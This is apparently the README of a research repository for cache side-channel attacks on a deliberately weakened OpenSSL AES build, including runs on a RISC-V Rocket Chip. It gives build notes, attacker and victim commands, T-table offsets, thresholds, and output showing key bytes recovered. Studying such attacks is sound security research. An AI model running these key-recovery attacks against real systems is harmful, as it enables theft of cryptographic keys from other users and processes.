Simple Cache Side-Channal Attacks (CSCAs)
Compile with make
.
Note that GCC option -O2
is necessary for Prime+Probe 8 attack.
The AES last round attack implementation (src/attack_aes_sync.c
, src/victim_aes
) is adapted from [https://github.com/jinb-park/crypto-side-channel-attack], and replacing the Flush+Reload Prime+Probe.
AES
Source code aes/
is taken from OpenSSL tag:OpenSSL_1_1_1k, which is the last tag before 1_1_1-stable
.
Modifications:
- Adapt include
- Remove include of
opensslconfig.h
- Align
libaes.so/Te
s to 64 byte boundary (begin of a cache line) in order to simplify attack
Note:
- In the default configuration, AES is build without
AES_ASM
,OPENSSL_AES_CONST_TIME
,FULL_UNROLL
option.
Test:
-
src/test_aes.c
is inspired by tiny-AES-c, which verify AES against the data in: National Institute of Standards and Technology Special Publication 800-38A 2001 ED Appendix F: Example Vectors for Modes of Operation of the AES.
Run:
$ LD_LIBRARY_PATH=. ./test_aes.elf
key: 2b7e151628aed2a6abf7158809cf4f3c
plaintext: 6bc1bee22e409f96e93d7e117393172a
ciphertext: 3ad77bb40d7a3660a89ecaf32466ef97
ECB Encrypt: encrypted plaintext: 3ad77bb40d7a3660a89ecaf32466ef97
SUCCESS!
ECB Decrypt: decrypted ciphertext: 6bc1bee22e409f96e93d7e117393172a
SUCCESS!
Cache Attack Util
Source code cache/
is partially taken from Mastik Toolkit 0.02.
Modification:
- Add RISC-V ISA assembly
Cache Profiling
$ ./cache_profiling_hit.elf
$ ./cache_profiling_fr.elf
$ ./cache_profiling_pp1.elf 0
$ ./cache_profiling_pp8.elf 0
AES Synchronous Known Data Attack
Available attacks (configure with macros):
- Attack type
- Last round attack
- First round attack (Make with
-WITH_ATTACK_FIRSTROUND
, they are not included in Makefile yet)
- Cache eviction strategy
- Flush+Reload
- Prime+Reload (1 way / 8 ways)
- Prime+Prime (1 way / 8 ways)
- Victim access strategy
- single process (victim inside attacker)
- shared memory
Prepare
Find Te0-3 offset for attacker. As library are publically available, we suppose that the attacker can find these offset without problem.
$ nm libaes.so | grep Te
0000000000003440 r Te0
0000000000003040 r Te1
0000000000002c40 r Te2
0000000000002840 r Te3
Victim
Command line mode (only allows one single argument):
$ LD_LIBRARY_PATH=. ./victim_aes.elf 6bc1bee22e409f96e93d7e117393172a
3ad77bb40d7a3660a89ecaf32466ef97
Shared memory mode:
Shared memory is managed by status
variable (insteed of semaphore).
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./test_victim_aes_shmem.elf
Flush+Reload
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_fr.elf 03440 03040 02c40 02840 1000 50
(Usage: <Offset_Te0> <Offset_Te1> <Offset_Te2> <Offset_Te3> <samples> <threshold>)
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_fr_shmem.elf 03440 03040 02c40 02840 3000 140
[Attacker] Prediction success 14 byte (total 16).
Note: - Recover 4-9 byte with 1000 plaintext
Prime+Probe 1
It is design for direct-mapped cache, though probably not giving any results on normal machine.
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1.elf 03440 03040 02c40 02840 1000 50
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_pp1_shmem.elf 03440 03040 02c40 02840 1000 120
Prime+Probe 8
It is design for 8 way associative, 64 set cache.
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8.elf 03440 03040 02c40 02840 1000 200
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_pp8_shmem.elf 03440 03040 02c40 02840 1000 1000
On Rocket Chip
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1.elf 01740 01b40 01f40 02340 1000 40
[Attacker] Prediction success 16 byte (total 16).
Note: - Cache profiling pp1 shows that when no conflict pp1 takes 12 cycles (97%), with conflict 37 cycles (98%).
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8.elf 01740 01b40 01f40 02340 3000 320
[Attacker] Prediction success 16 byte (total 16).
Note: - with 1000 plaintext: 7-11 byte
- with l1_probe + l1_probe (insteed of l1_bprobe that probing backward): 3-6 byte
- threshold: 320 seems to be the best threshold for 1000 plaintext.
If use 3000 plaintext then thresh can be set from 290 - 330.
Cache profiling pp8 shows that when no conflict 272 cycles (96%), with conflict >= 297.
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1r.elf 01740 01b40 01f40 02340 1000 30
[Attacker] Prediction success 16 byte (total 16).
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1r_shmem.elf 01740 01b40 01f40 02340 3000 80
Note: - attack needs libaes.so, because it use RELOAD techniques
- Recovery once 5 byte with 3000 plaintext (takes too long to execute)
$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8r_shmem.elf 01740 01b40 01f40 02340 3000 80
AES Asynchronous Attack
$ LD_LIBRARY_PATH=. ./attack_aes_async_fr.elf